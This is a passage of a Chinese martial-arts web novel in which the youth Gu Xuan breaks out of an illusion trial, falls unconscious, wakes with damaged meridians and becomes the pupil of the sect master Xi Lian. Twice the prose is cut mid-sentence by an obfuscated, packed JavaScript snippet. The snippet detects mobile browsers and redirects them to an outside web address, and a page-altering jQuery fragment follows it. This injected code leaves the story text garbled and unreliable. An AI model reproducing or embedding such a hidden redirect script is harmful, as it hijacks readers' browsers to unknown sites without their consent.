那双原本黑莹的眼睛,一半暗紫,一半赤红,血珠从他脸上的伤口划落,让他另外半张脸就像被火燃烧了。这张年纪十五岁的脸上浮现的冰冷与漠然,仿佛是另一个人。 顾暄没有说话,李无逍这才注意到他手上的剑已经变成雪落了,再一看,蜈蚣原本整齐对称的两排手脚,已经变成一排了,此时它正在地上蠕动着。周围不断有林木倒下来,看起来整个世界要崩塌了。 顾暄一步步走过去,每走一步,他身上的内力就涨一截,两步过后,李无逍推断不出他身上的境界了。紫光在他身后亮起,随即,以他和蜈蚣之间缓缓形成一个古怪的阵,复杂的图案文字从地面上浮起,最后是一个又一个黑色的人影。 转轮镜外,谢予眉头微蹙,柳无喧问:“这是什么东西?怎么有点像……” 已灭国的天戎国的秘法。 没人回答。云谨忽而感觉身旁多了个人,抬头看见来人时吃了一惊: “师父。” 幻境内,那些人影围绕着蜈蚣和顾暄转,有笑声,有哭声,有叫骂声,有嚎叫声,简直像个地狱,场面诡谲。外头的紫光越发耀眼,几乎隔绝了阵法外的视线。 李无逍咳出一口血沫,觉得这鬼影飘飘的阵法实在不像是正道人士所用,有些需要活人献祭的邪术或以寿命为代价的偏术才这么邪门。 他看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278658|198315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到阵法内的场景,不免着急,可又无计可施,连他自己都觉得自己身体沉重,下一秒就要倒地了。李无逍强打精神,咽下喉间一口血,给陆子凌把脉。 手搭上去那一刻他就知道不妙了,陆子凌内脏受损,胸腔估计留有淤血,再不救治整个人就完了。 半昏半醒的陆子凌估计也意识到这件事了,哆哆嗦嗦地开口:“要不…你、你给我一剑吧……阿弥陀佛,我不想被…虫子吃掉……算、算了,你…你们快走。” 李无逍把仅剩不多的内力输给他,示意他闭嘴好留点力气。 谁也不知道阵法内发生了什么。李无逍偏头咳出一口血,死亡真正逼近时,他反而没那么紧张了。 他想:怕什么,旁边还有这么多人呢……大不了,我就回山上继续当道士,谁要进这劳什子的云庄。 李无逍盯着闪烁着紫光的阵法,担忧之色难掩,也不知道顾暄在里面怎么样了。这时,一只手轻轻推了推他,李无逍回头,看见脸色苍白的秀格起身靠近,示意换她输内力。 阵法内,蜈蚣那张脸上神色莫辨,唯有剩下那一只眼睛冒出的寒光瞪着他。 顾暄的神色淡下来,问:“谁杀的你?” 自然是不会有回应。 顾暄身上的内力还在涨,到了最后他的七窍流出血,身体已经支撑不住磅礴的内力了。剑光映在那双异色的眼睛里,下一秒,剑影纷飞如雪—— 数秒后,阵法破了,强烈的冲击力把几个人掀到几米外。李无逍要顾着其他两人,于是后背撞上了树背,温热的血从他的鼻腔滴滴答答落下来。几秒后,秀格感觉身后有东西靠在她的肩上。 一团东西在地上蠕动着,显然出气大过入气,一个人从阵法中缓步走出来。顾暄整个人就像从尸山血海中泡过一遍——除了那双眼睛,全身上下都被血浸透了。 他的身后,空气慢慢撕开一道口子,最后口子变大,变成能容纳两个人的出口。 顾暄眼睛中颜色未褪。秀格扶着李无逍的头,神色复杂地看着他。 顾暄没说什么,只是把还留有一息的陆子凌背起来,腾出手和秀格一起驾着李无逍往出口走。 路过那具蜈蚣的尸体时,秀格问:“世人皆云其心窍内藏秘藏,得之可得永生。你看到了那个密藏吗?” 顾暄看着眼前那道黑黝黝的口子,没肯定也没否定,只是说:“幻境而已。” 踏进出口那一刻,天光大亮,如同进来时。再一次睁眼时,他们已经躺在习武场上,头顶还是湛湛天空,悠悠白云,外头应该是过了两三个时辰。 李无逍觉得身体就像被马车来回碾了几轮一样,他伸出手看了看,没有伤口。费力地爬起来,他和同样费力爬起身的陆子凌对视上,两人都从对方的眼睛里看到了不易。 顾暄和秀格早已站起身。顾暄低头看着雪落,就像在研究这把剑上的花纹是怎么刻的。 文言殊的声音响起:“本轮考核中,打破幻境活着走出来的有四人,这四人进入云庄内院,其余人可留在外院。” 没有欢呼声,大部分人还停在幻境内那些恐怖的场景上,进入内院的那几人也默不作声。 慕容肃接话道:“这四人中,庄主收一位弟子,其余三人可拜入长老三人任一人门下。” 李无逍注意到云谨和柳无喧中间站着一个三十岁出头的青衫男子,朗目疏眉,神仪明秀,在一众兰花白袍中脱颖而出,又不会让人觉得这人是白花中的绿叶。若要形容,这人应该是素白中最温和、最有生机的那点绿意。 听到慕容肃的话,李无逍一愣,庄主今年收徒? 李无逍刚想问问其他几人意见,就听见顾暄的声音响起:“弟子年纪尚小,资质疏浅,不欲与其他三人争庄主弟子之位。愿拜入二长老门下,恳请师长同意。” 然后是秀格的声音:“弟子同样无意庄主弟子之位,愿拜入三长老门下。” 声音一前一后,同样无意庄主弟子这个位置,仿佛这是一块烫手山芋,一时间场内落针可闻。 柳无喧没搞明白这是什么状况,刚想侧头问云谨,意识到自己旁边站着师父,生生把头转了个方向,示意谢予这是怎么回事。难不成这庄主弟子之位已经这么猫嫌狗厌了吗? 谢予微微摇头。 李无逍嘴角提了提,看了一眼云谨旁边那开场没有看见、结束后却已经在场的青衣人,那青衣人的目光落在自始至终没有抬头的顾暄身上。 李无逍唇边带着点坏笑,低头行礼,前半句说辞跟其他二人一样,后面则是说跟顾暄一样想拜入二长老门下。 二长老眼见要收两个徒弟,唇边的笑意都压不住了。 这下子场中只剩下陆子凌,全场的目光都投来了,吓得陆子凌的脸更白了。他在进入幻境前还想过庄主弟子这位置,后面看见同伴的表现便退而求其次,进内院就行。 内院的二长老博览群书,跟他的家风很契合,再不济在外院也要找一个读书比较多的长老做师父。 他慌忙之中也没有忘了礼仪,躬身揖礼,无非是自己一路仰仗同伴庇护,无意这个位置,核心思想就一个:我想拜入二长老门下。 好了,这四人三人想拜入二长老门下,一人想拜入三长老门下,庄主和大长老则是零个人想拜为师。 二长老哈哈一笑,谢予偏过头,柳无喧则发出一声半是惊讶半忍着笑的“哈?”。 27. 奚连 不知为何,顾暄自从幻境中出来便低着头,除了研究那把雪落,其他人就没见他将目光放在别处。 一道带着点自嘲和疑惑意味的嗓音响起:“看来这庄主弟子的位置成烫手山芋了……难道我在外面的名声已经差成这样了?” 柳无暄:“师父您还有这觉悟啊。” “无喧。”青衣人嗓音不疾不徐,对柳无喧的拆台也不甚在意,“我突然记起来你还有篇心得没交上来,一千五百字……” 柳无喧火速认错,毫无底气:“…师父我错了,求放过。” 这师徒二人上演了一出相声,再这么说下去不如搭个戏台子,大长老咳了一声:“这么多人想拜入二长老门下,很好,说明二长老确实声名在外。但门规是每届大选最多两人拜入同一人门下,你们三人协商一下。” 那边秀格已经去见师父了。陆子凌和李无逍往顾暄那边走去,李无逍说:“顾兄,出来以后你话好少,跟吃了哑巴药一样。” 顾暄拨了一下剑穗:“眼睛疼…没事,我们中有一个人要拜入其他长老门下,怎么选?” 李无逍还想顺着问你眼睛咋了,顾暄的眼睛却被额前碎发遮着看不清,他一回想起那双不同颜色的眼睛,心里就有些不安。 陆子凌这下子学精了,开场就搬出家风,大致意思是家里那边也想他拜入一位读书多的师父的门下。 李无逍偷偷瞥了一眼严肃的大长老,几乎能想象到他这种跳脱的人拜入一个严肃的师父的门下要怎么被整了。他对顾暄说:“要不咱俩猜拳?不然我去大长老门下?” 顾暄摇摇头,“我去大长老门下。” 一番商定后,几人将这结果报告上去,李无逍和陆子凌看见站在云谨和柳无喧中间的青衣人的一边眉毛微微挑起,随后他赶在慕容肃开口前道:“顾暄,我问你个问题,你对我有意见?从出来以后你就在低着头,是地上有黄金吗?” 顾暄猝不及防被问到,刚想抬头却想起什么似的没有动。 “是吗,”这两个字念得毫无起伏,像是刀架在脖子上硬说出来的。顾暄说:“眼睛疼,并非对师长不敬。” 明明只是眨眼一瞬的时间,下一秒青衣人就不见了,丝毫察觉不到他的内力波动。李无逍听到他的声音在顾暄旁边响起:“我怎么感觉,你对我有意见呢?” 场内一度陷入沉默,不清楚庄主脾性的人在想顾暄这小子在摆什么阔,稍微摸清庄主脾气的人则认为这家伙又开始作妖了。 陆子凌微微一惊,从他这个视角,他看见庄主在说话前微眯着眼打量了顾暄一番,看着像是从前认识过的。 顾暄慢慢抬头,看着他,淡声道:“我跟庄主素未谋面,何来意见?” “哦?”青衣人也不恼,只是盯着他的眼睛,“别的人或多或少看了我一眼,只有你自始至终低着头,我挺好奇的。” 青衣人站在顾暄身前,李无逍看不见顾暄的脸,只听见他淡淡地说:“你脸上有黄金吗?” 柳无喧以扇掩面,忍住那声即将脱口而出的“说得对”的冲动。 木廿似是有些不理解,侧头看向文言殊,文言殊无奈地耸耸肩:“他又开始了。” 青衣人竟赞同地点了点头,对顾暄的话表示认可,但说出的话却背道而驰,“我想我这张脸也值几十两黄金的。” “哈哈哈哈——” 柳无喧搭着大师兄的肩膀,大笑起来,自己的肩膀禁不住一耸一耸。谢予不着痕迹地往旁边移了移,被这笑声震得半边耳朵要聋了。 “……”顾暄讥讽:“只怕是假货。” 青衣人不管他的嘲讽,正色道:“你为什么不拜我为师呢?我是云庄庄主,资质、实力和声望都有,我有哪一点比不过二长老?还有大长老?” 已经没有人去数场内沉默了几次,今天内发生的事太玄幻了。先是第三轮比赛胜出的四个人都说自己无意拜入庄主门下,再是四个人中三个人都要拜二长老为师,最后是庄主询问顾暄为什么不选他。 顾暄转着的视线跟谢予对上,谢予一愣,那双眼睛又转了回去。这其间的古怪让师兄弟几人都感觉不对劲了,柳无喧低声说:“我怎么感觉顾暄这小子怪怪的?” 顾暄:“你太聒噪了。” “什么——”青衣人目瞪口呆,指了指顾暄,又指了指自己,声音拔高了一些,“我?聒噪?” 文言殊看不下去了:“你看你看,你这老毛病说了多少回就是不改,这下把弟子吓跑了吧?” 众人左瞅瞅右看看,看出了庄主的求是精神,就是没看出顾暄哪里害怕了。 青衣人为自己辩解:“我教弟子多厉害,那边杵着那三个人就是我的弟子,哪个不是人中龙凤?你问问他们我当师父如何?还有,我到底哪里聒噪了?这还没无喧的一半呢。” 那边杵着的“人中龙凤”大师兄和二师兄不置可否,柳无喧听到前面还跟着附和的,听到后面就不吱声了。 顾暄刚要回话,忽而神色一变,他感觉他的脑袋就像一个核桃,有人拿着工具在一点点敲开,那种感觉漫长而钝痛,他的冷汗一下子就冒出来了。 他若是站在镜子前就可以发现,那双眼睛里的暗紫色和赤色慢慢被黑色覆盖,就像一滴厚重的墨水落入两种颜色中,将原本颜色的位置挤占了。 顾暄没站稳似的跪了下来,青衣人忙说:“这么快回心转意啦,也不用行这么大的礼——” 随后他看到顾暄一头倒了下去。顾暄闭上眼睛前一秒还听到许多人在喊他,下一秒整片天地寂静了。 —————————— 再次睁眼时,映入眼帘的是云纹的白色帷帐,屋内点着安神香,闻起来跟王爷书房的略有不同,王爷书房的安神香比这里的甜一点。 他感觉自己做了很长一场梦。入幻境,死里逃生,站在习武场上和庄主呛声,最后因为剧烈的头痛而昏过去。他觉得自己像个置身事外的幽灵,看着他熟悉的“顾暄”说话、打架。 他看着那人利落的剑法和寒气森森的阵法,心里触动不大,就像在看别人一样,忽而醒悟过来:那不是我吗?我什么时候这么厉害了? 他的眼睛动了动,刚想起身便发觉阵阵剧痛从全身传来,疼得他两眼一黑,绝了那点起身的想法。 怎么会这么痛?难不成是庄主恼羞成怒把他打了一顿?这跟大蜘蛛大蜈蚣抓着他往地上摔了千百遍没区别,浑身的骨头都仿佛碎了。 内力如何?他试着调动内力,却可悲地发现内力一试着往经脉游走,全身的经脉如同火烧一样刺痛,痛得他两眼发黑。 他终于老实了。 “咦,我怎么看见顾暄的眼睛动了,错觉吗?”李无逍的声音轻轻响起。 “不……”顾暄艰难出声。 李无逍的声音一下子高了一截,“你真的醒了——” 跟着李无逍一起来的陆子凌忙去喊医师。 一阵兵荒马乱后,云庄的医师坐在顾暄床边给他把脉,这是一位素有威望的老医师,留着两撇白胡子,整个人看起来异常靠谱。这位靠谱的医师皱着眉把脉了好一会儿,屋子里的人大气都不敢出。 顾暄全身上下估计就眼珠子能动,他看见视线范围内一群人头,三位和他一同入内院的同门,三位师兄,还有三位长老。满满当当的人。 老医师收回手,柳无喧忙问:“大夫,他怎么样了?” “不用担心。”老医师显得气定神闲,“只是全身经脉有点受损。” …… 经脉的正常与否对习武之人至关重要,经脉受损意味着武功停滞甚至是倒退,顾暄感觉眼前一黑,巴不得再晕过去一次。 老医师说话慢吞吞的:“少年人急啥?好好养着没事的。强行升境的时候怎么不考虑经脉受损的结果?要不是庄主及时出手,只怕你不止经脉有点受损这么简单了,经脉碎了都有可能。” 顾暄的神色显然还是在回忆他什么时候强行升境了。 李无逍助力好友找回记忆:“就是在幻境那儿,虽说是幻境,对身体也有一定伤害。我回去就躺了三天,你强行升境不知多少级,身体达到了极限。” 顾暄问:“我躺了几天?” 李无逍:“不算今天,一共三十二天。今天是十月初八。” 顾暄想:天,竟然躺了一个多月,不知京城第一场雪有没有落下了。他动弹不得,抱着希望问:“京城下雪了吗?” 陆子凌记性好,道:“你昏迷的第二十九天,京城下了第一场雪。” 想必是很美的。顾暄想点点头,忽然反应过来自己没法动,连面部表情都很有限,于是他只能转转眼珠子表示知道了。 一身白衣的柳无喧靠在床尾的柱子上,问老医师:“他大概还要多久才能下床?” 老医师:“看他恢复情况,少则一个多星期,多则两三个星期。这两个多月内不得使用内力,不然经脉在没好全的情况下流转内力,这次可能就真的废了。至于是多久,看你恢复情况。” 顾暄听得脸绿,连连眨 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他还拿着一个精致小巧的酒壶,靠得近了顾暄能闻到他身上淡淡的酒味。见顾暄视线移了过来,他还举了举酒壶,当是打招呼:“顾暄你好,我是你师父。” 知道是眼前这人保住了自己的经脉,再加上顾暄也不明白那个时候的自己为什么会拒绝成为他的弟子,大抵是当时强行升境脑子不够用了吧。 他见好就收,喊了人生中第一声“师父。” 这种感觉很不一样,以前他得知自己可能一辈子无法开脉,对着王爷找来陪他玩的师父也兴趣缺缺。虽然都是师父,但有什么东西始终不一样。比如,顾暄对这位师父,尊敬和仰望交织在一起,最后变成了对不定未来的期待。 “诶,乖徒儿——”他应了一声,在床边找了个位置坐下,示意柳无喧往旁边挤挤,柳无喧骤然被他一挤,脸上一副敢怒不敢言的表情。 顾暄昏迷这些天错过了不少消息,李无逍体贴地帮他补上:比如庄主和其他几位长老一商量,觉得四个弟子不如每人一个,于是李无逍拜入大长老门下;比如顾暄成为庄主新弟子时,也被默认成这十六个人中的胜者,赌坊里押顾暄的人一夜暴富;比如王府传来四十六封书信,王爷世子对半…… 顾暄想起来自己让靳公子在自己身上押了注,想必这个时候靳公子已经赚得盆满钵满了。他自己也押了点,纯粹是看自己押注最少不服气,早知如此就把全部身家押上去了。 青衣人在一旁安安静静地喝酒,顾暄鼻子灵,闻到一点若隐若现的梅香,猜测酒壶里是梅花酒。 等李无逍和柳无喧七嘴八舌补充完,青衣人才开口:“在场的差不多都是熟人,不熟的以后也熟了。谢予他们的辈分你搞清楚没有?喏,谢予是你大师兄,挺靠谱的一个人;云谨是你二师兄,唇红齿白,标致人儿;话最多的是你三师兄,‘无喧’这个名字真是白费了……” 他一边说一边指人,从谢予到云谨到柳无喧,柳无喧不服:“什么叫我话最多,我明明是跟着师父您学的,名师出高徒——” 青衣人叹气:“你看,反驳即同意,被戳着痛脚了。” 顾暄有点想笑,限于脸部肌肉,他只转了转眼珠子,目光在几位师兄身上停留片刻,当是打招呼了。青衣人看懂了他的意图,替他解释道:“跟你们打招呼呢,这招呼挺别致的。” 谢予颔首,云谨冲他笑笑,柳无喧应下,让他恢复后把那声“师兄”补上来。 等顾暄打完招呼,谢予记起来一件事,道:“你昏迷的时候云庄举行了拜师礼,无喧代替你拜了回师。” 柳无喧说:“我也没想到这辈子两次拜师同一个人。”语气唏嘘,不知是感到新奇还是倒霉。 青衣人:“你不乐意?” “哪能啊师父。”柳无喧想起那篇被打回去重写的心得,心有戚戚,“这辈子最不后悔的事就是拜您为师,再让我拜几次都行。” 青衣人哼笑一声,“出息。” 见顾暄的目光停在他的身上,青衣人思索这是不是招呼,随即又想到顾暄刚才从嗓子眼里挤出来的“师父”二字。 他仔细思考了一番,记起来自己还没有自我介绍,而他的名字在云庄外很少有人知道。大家只知道云庄有个庄主,庄主神出鬼没,庄主长什么样、性情如何倒不是秘密,唯独名字。 他说:“哦,忘了跟你讲我的名字,我叫奚连,奚落的奚,连续的连。” 28. 拜访 几百公里外的东平王府,夜色正浓,王爷披着一件外衣站在镂花窗前,伸手推开一条缝。冷风顺着缝滑进来,从王爷的袖口里钻进去,可王爷却像感觉不到一样。书桌上放着几封信,零零散散放在桌面,被一块砚台压着,桌面一角凌乱得不似他平日作风。 站了有一会儿,寒风把他的指尖吹得一片冰冷,顾柳青仍是无动于衷,视线落在虚空中的某一点。背后的脚步声越来越清晰,顾柳青回头,发现是顾映来了。 书房只亮了一半的灯,橘色的灯光下映出一张略带担心的年轻脸庞。 顾映自从游历回来,脸颊便瘦了些,有时候独自坐在院子里,神色寂寂。王爷看他衣着单薄,不禁皱眉:“冷,你出来起码披件外衣。”他边说边把窗子关上,敛好书桌上散乱的书信。 顾映扫了眼桌面,端起一盏油灯,把剩下一半灯点亮,问:“爹,您脸色不太好,是在担心阿暄吗?” 顾柳青叫来侍女,让她奉上茶水,说完后又想起顾映这几天眼下的淡青,改口要了安神茶。他说:“信上说他还没醒,我有点担心而已。今晚怎么过来了?” 顾映落座,“有点担心您,便过来看看。阿暄未醒可能是比赛消耗体力精力,他有师父师兄和您的几位旧识在,总归不会出大问题。” “我知道。”顾柳青面对这个一向让自己放心的长子,眉间的担忧也难以褪去,“他第一次出远门,我不放心而已。话说你就不好奇他为什么进了内院吗?” 顾映接过侍女端上来的安神茶,拿茶盖撇去茶上那点浮沫,和顾柳青的茶换了换,又重复刚才的动作。他不答,“阿暄喝的药茶里放了其他东西吧? 顾柳青不语。 五月时顾暄还未开脉,六月份就已经开脉取剑并有了一重境下境的实力,九月达到一重境中境,十月入云庄,话本都不敢这么写。 顾映没有看顾柳青,即使浮沫已经刮去,他仍用茶盖轻轻划着里面浅褐色的茶水。 “什么药茶需要一连喝六年的?几年前我为了稳固境界,需要吃固丹丸,里面有一味药材气味独特,却又很熟悉。我想起这是在阿暄的药茶里闻过,他一个没开脉的孩子为什么要稳固境界呢?” 顾柳青把玩着手里的佛珠,示意他继续说。 顾映喝了口茶润嗓,继续说:“我没问,因为我知道您不会害他,所以我看着他喝了几年这样的药茶。还有,之前他的经脉阻滞从而无法开脉,应该不是天生的吧?是要封住什么东西吗?” 顾柳青神色一动,那张从谈话一开始就平静无波的脸像裂了条缝。 ——————— 顾暄醒来后在床上跟干尸似的躺了两天,全靠眼珠子转动与别人交流;两天之后可以正常开口说话而且脸上没有那种火辣辣的疼;四天之后,他可以半靠在床栏上接客了。 顾暄可以开口说话时,柳无喧如获知己,一得空就跑来梅轩跟顾暄八卦——梅轩是顾暄居住的地方,庭中有一棵百岁老梅,盛放时花香满庭。 柳无喧唏嘘道:“幸亏你成了我师弟,没遇到你之前我过的都是什么苦日子?你大师兄人忒古板了,二师兄又整日端着那副高雅架子,跟他俩呆在一起都快把我整得不爱说话了。” 现在就“不爱说话”了,真不敢想以前爱说话的他是什么样子。 顾暄还没来得及回话,就听到云谨的声音从外厅传来,“别听他胡说八道,整个内院就他和师父最聒噪,因为这个我们不知被内院和外院投诉多少回了。” 从外厅进来一个人,白袍胜雪,面容姣好。 柳无喧一跃而起,架住云谨的肩膀,“你小子背后编排师父是吧?师父知道吗?” 云谨一个轻巧转身,从他的“魔爪”下逃出来,优雅地落座太师椅,同时示意柳无喧给他倒茶:“你好意思?我们三人…不对,现在是四人,就数你编排师父最多。我要是师父,就罚你在图南阁抄十万文书,教教你怎么做人。” 图南阁是云庄的藏书阁,里面藏书数以万计,是京城仅次于皇家藏书阁的书馆。 云谨顶着天人之姿,用着最平淡的语气,说出“教教你怎么做人”的话,这一本正经的反差让顾暄忍不住笑起来。 柳无喧在另一端的小茶几上煮茶,当即回敬回去:“我要是师父,有你这么个表里不一的弟子,就让你在十二月扫雪,从内院到外院,看不累死你。” 随即他添油加醋地跟顾暄说起往事——某年师兄弟三人惹恼了奚连,被罚扫雪,从内院扫到外院。云谨扫了没一会儿就累了,他最怵这些体力活儿,那会还是他师兄跟师弟替他分担了一部分工作。 顾暄抓住重点:“所以你们为什么惹恼了师父?” 云谨冷笑一声,“这得问柳无喧了。那年他犯贱,喝了点酒起了整蛊师兄的想法,换了大师兄带回来的精酿,换成加辣椒的米酒。结果师兄们没喝到,反而让访客回来兴致特别好的师父喝了。” 顾暄:“……”这是什么魔丸。 柳无喧半心虚半理直气壮,顾暄还在惊讶于他那一半理直气壮的厚脸皮时,就听到他说:“别听你二师兄乱说,他们原本猜到了我要整蛊他们,所以在我加了料的那壶酒里又加了芥末,然后不小心被师父喝到了。不然为什么师父罚的是我们三人?” ……好了,鉴定完毕,三个人都是魔丸。 谈起往事让两个人都有些挂不住脸。顾暄换了个话题:“往年进入内院的最多几个人?” “三个人。”柳无喧说,“所以今年蛮不错的,在第三轮比赛这么难的情况下还能有四个人,算开创历史了。” 他没说的是要是秀格和顾暄不管那两个昏过去的同伴,今年还得是两个人,又或者是一个人了。 云谨:“就我跟无喧进内院那一年。” 顾暄想起师兄三人,问:“三位师兄是同一年进内院的吗?” 柳无喧:“不是,大师兄比我们大一岁,早我们一年入内院,但我们三人都是十六岁入内院的。” 顾暄想起云庄大选四年一次,上一次大选应该是云谨和柳无喧入内院那会儿,为什么谢予早他们一年入内院?而且谢予入内院那年也不是大选的年份。 似是看穿了他的疑惑,云谨解释道:“因为大师兄天赋好,十六岁末已经摸到一重境上境的门槛,又有意拜师庄主门下,师父就破格收徒了。” 拜师林炀的太子十七岁达到二重境中境,比谢予略胜一筹。李无逍十九岁进入二重境,二十岁的谢予已经处在二重境和三重境之间了,这京城果然遍地天才,简直恐怖如斯。 顾暄想了想,自己十五岁达到一重境中境,王爷以前准备的药茶功不可没,如果没有这些,不知道自己能不能进外院。话说也是,王爷封住他的经脉做什么?他要是早点开脉习武,现在不是事半功倍吗? 醒来的八天后,顾暄可以下床了。虽说走路还是有点疼,但起码不用像僵尸一样躺在床上了,躺得他骨头都软了。 他披好裘衣踱步到门前,掀开暖帘,看见点点白雪落下,地上白茫茫一片,已经覆盖了一层薄雪。 他的鼻子忽然捕捉到一丝极淡的梅香,侧头看去,庭院中那株身姿遒劲的梅树的枝头,红梅点点,成为这广阔的白雪里的一抹鲜艳颜色。 十月十六日,我终于可以下床走路了。爹,我进了内院,今天终于可以提笔给你写信了。走到门前,看见庭院白雪寂寂,地上的梅花还未被薄雪覆盖,露出点点薄红。此情此景是很美的,但我第一时间想起你跟哥哥。往昔东临城第一场雪落下时,我们在近湖的迎客亭里放下三面帘子围炉煮茶,留着一面帘子看雪。不知道第一场雪落下时,你们是不是在亭子里煮茶看雪。天冷,你和哥哥记得加衣,保重身体。 顾暄 —————————— 又过五日,顾暄可以自如活动。十月廿二,顾暄穿上云庄特有的兰花白袍,跟几位师兄去见过外院和内院的几位长老。 三长老木廿精通药理,人虽话少,但跟秀格一样,面冷心热,他房间里的安神香就是三长老亲手调配的。顾暄谢她,她还摆摆手,说是她欠庄主的人情。 二长老文言殊看书多,看出顾暄基础不稳,便送他一本研习基础心法的书,据说是他年轻时的著作。陆子凌跟着这位师父学习,身上的书卷气更重了。 大长老跟三长老一个赛一个话少,李无逍给他们端茶时冲顾暄挤眉弄眼,看来他在大长老门下适应得不错。大长老慕容肃严肃地看着顾暄,顾暄身体坐得更端正,问他怎么了。 几秒钟的沉默里,从你用什么方法强行升境到那个紫色的阵法是什么,这类问题在顾暄脑子里转了几遍。 这些问题真的摆出来的话,他确实不知道怎么回答,因为他仿佛置身事外,看着一个陌生人在他的身体里恣肆挥剑。 但挥剑的还是他,说不知道的也是他的话,这就很没有说服力了。 柳无喧跟顾暄一样不太自在,刚想出声打破沉默,就听见慕容肃平平的声音:“以后在现实中,不到万分紧要关头,不要升境。这回有师父保住你的经脉,不是每一次都这么幸运的。” 顾暄一愣,感觉后背放松下来,连忙应声。 从外院四长老到内院三长老,最后一站是庄主所在的月轩,因为那儿是整个云庄赏月的最佳之地,故得此名。 来到月轩时,几位师兄真正放松下来,跟顾暄一边闲聊一边进去。将暖帘放下后,整个屋子如暖春一般。茶水还在炉上滚着,氤氲的白气让这一切有些朦胧。 奚连这次换上了白袍,坐在正厅上位,整个人显得正经不少。 见过礼后,柳无喧嘻嘻笑道:“师父您穿白袍真是屈指可数,我还以为今天不穿了。 奚连:“你们师弟第一次正式来见我,我不应该正式一点吗?不过这白色也忒难看了,穿着这身出去分不清人和雪了。” 话语间,顾暄已经倒好茶,恭恭敬敬地奉上去,老实得不行:“师父,请用茶。” 奚连接过去,乐了:“这么乖?那天不是死活不乐意见我吗?还不是得乖乖叫师父,徒儿,风水轮流转啊。” 顾暄实在心虚,又不好明说,眼珠子便在那儿乱转,“您就当我那天在胡扯,反正最后成了师徒,不正说明我们有缘分吗?” 柳无喧格外喜欢和他师父呛声,无论是八百字还是一千五百字的心得都未能让他老实:“是啊是啊,不过那天四个人都说无意做您的弟子,师父您真的不反思一下吗?” “我反思啥?”奚连的人生信念里估计就没有“反思”二字,他一本正经道:“那是他们有自知之明,知道我不收笨徒弟,知难而退懂不懂?今年大选人数多了几倍难道没有我的原因?” “师父您这脸皮比金砖还厚啊。” 眼见两人你一句我一句呛起来了,谢予和云谨早已见怪不怪。云谨甚至悄声对他说:“他们就这样,你习惯就好。” 正式见过师父的几天后,顾暄正窝在室内看二长老撰写的心法著作,谢予突然上门,跟他说有客人来找他。 老医师说他受伤刚好,哪怕是能下地走路也不能在外边走太远。不能动用内力的他无法像其他人一样用内力抵御寒冷,贸贸然出去很容易感冒。于是顾暄见过师父后这几天都待在房中。 顾暄身着白色中衣靠在榻上,怀里放着一个小暖炉,看书看得昏昏欲睡。房中自然是没有侍女仆人的,谢予的声音遥遥传来时,他连忙把一件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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靳公子揽着顾暄的肩膀,一副哥俩好的作派,正色道:“是啊,所以我今天专程来给你送钱。” 顾暄哭笑不得:“你真押了?当时我说笑的。” 靳公子:“是啊,我说到做到、言而有‘信’。” 等一轮玩笑后,谢予正式介绍今天来访梅轩的“客人”。 靳公子不姓靳,而是姓谢,大名叫谢承礼。众所周知,谢氏皇帝和他的兄弟就是“承”字辈的,谢承礼是宣景皇帝的同母弟弟,封号为“信”,未像其他兄弟一样外封,而是长居京城。 顾暄心想自己之前好险没有对靳公子无礼,这位信王是他爹的旧识,年少同窗时情谊深厚。他老老实实喊了声“王爷”。 京城风水养人,和顾柳青年岁差不多的谢承礼看着比好友年轻些,从他的一颦一笑顾暄依稀可以看见当年那位风流王爷的痕迹。这位风流王爷笑道:“大选结束前为了避免不必要的麻烦,我们几人就没有跟你见面,我也用了假名,脸还动了动,会怪我吗?” 顾暄摇摇头,诚挚道:“不会,而且我也猜到了一些。” 谢承礼有些失望,“是吗?我还以为我掩饰得很好呢。” 古语有句话叫“穿着龙袍也不像太子”,强调了气质的重要性。一个当惯了王侯将相的人,哪怕是穿得像乞丐一样,整个人的精神面貌也不像乞丐。 更何况谢承礼这人,虽然没有明说我叫谢承礼,是皇帝的弟弟。但是从这人的衣着、举止和望江楼萧代理掌柜对他的恭敬都可以看出,这人身份非富即贵。 林炀留他在那儿反思哪里露出破绽了,自己则说:“林炀,我们一个多月前见过面。” 顾暄抱拳:“难忘前辈救命之恩。” 最后是那位带着书卷气的中年人,他温和一笑,说:“我是陆文砚,文章的文,砚台的砚,很高兴见到你。” 顾暄低头见礼,记得王爷提过陆文砚在宣景五年高中进士,在这十多年间宦海浮沉,任地方官时政绩斐然,调回京城任职也兢兢业业,在朝廷中声名不错。 林炀补充说:“他就是我那天跟你说的喜欢写文章的人。” 陆文砚好脾气地问:“恐怕原话不是这样的吧?” 确实不是,林炀的原话是“只会写文章的书呆子”。 林炀眉骨高,不笑的时候看着有点凶,笑起来又冲淡了那点戾气。他一本正经地胡说八道:“我是那种背后编排人的人吗?顾暄就在这里,你问问他……对了,跟你一同进内院的陆子凌是文砚的侄子。” 这话题转移的速度之快,生怕别人不知道他前半句在瞎扯。 顾暄惊讶:“我说他怎么和您有点像呢。”看来猜错了,一开始顾暄猜陆文砚是陆子凌他爹,这一家人都像在书海里泡过,光看外表就是个妥妥的读书人。 谢承礼说:“还有一个,谢予是我侄子,不知道他有没有跟你讲过。” 顾暄再度惊讶,看向大师兄的目光带上了一丝不可思议。宣景皇帝为武成皇帝第三子,信王为第五子,排在宣景皇帝前面的是端王和睿王,武成皇帝第四子则年少早夭。 信王未婚,端王和睿王都有子嗣,只不过端王早逝,当时留下七岁的幼子。端王妃在端王去世半年后病逝,宣景皇帝顾念幼子无依,便将其从封地中接来京城,养在皇宫里,和现在的太子一起长大。 睿王育有二子,从小养在封地中。所以顾暄一开始不确定谢予是哪位王爷的儿子。 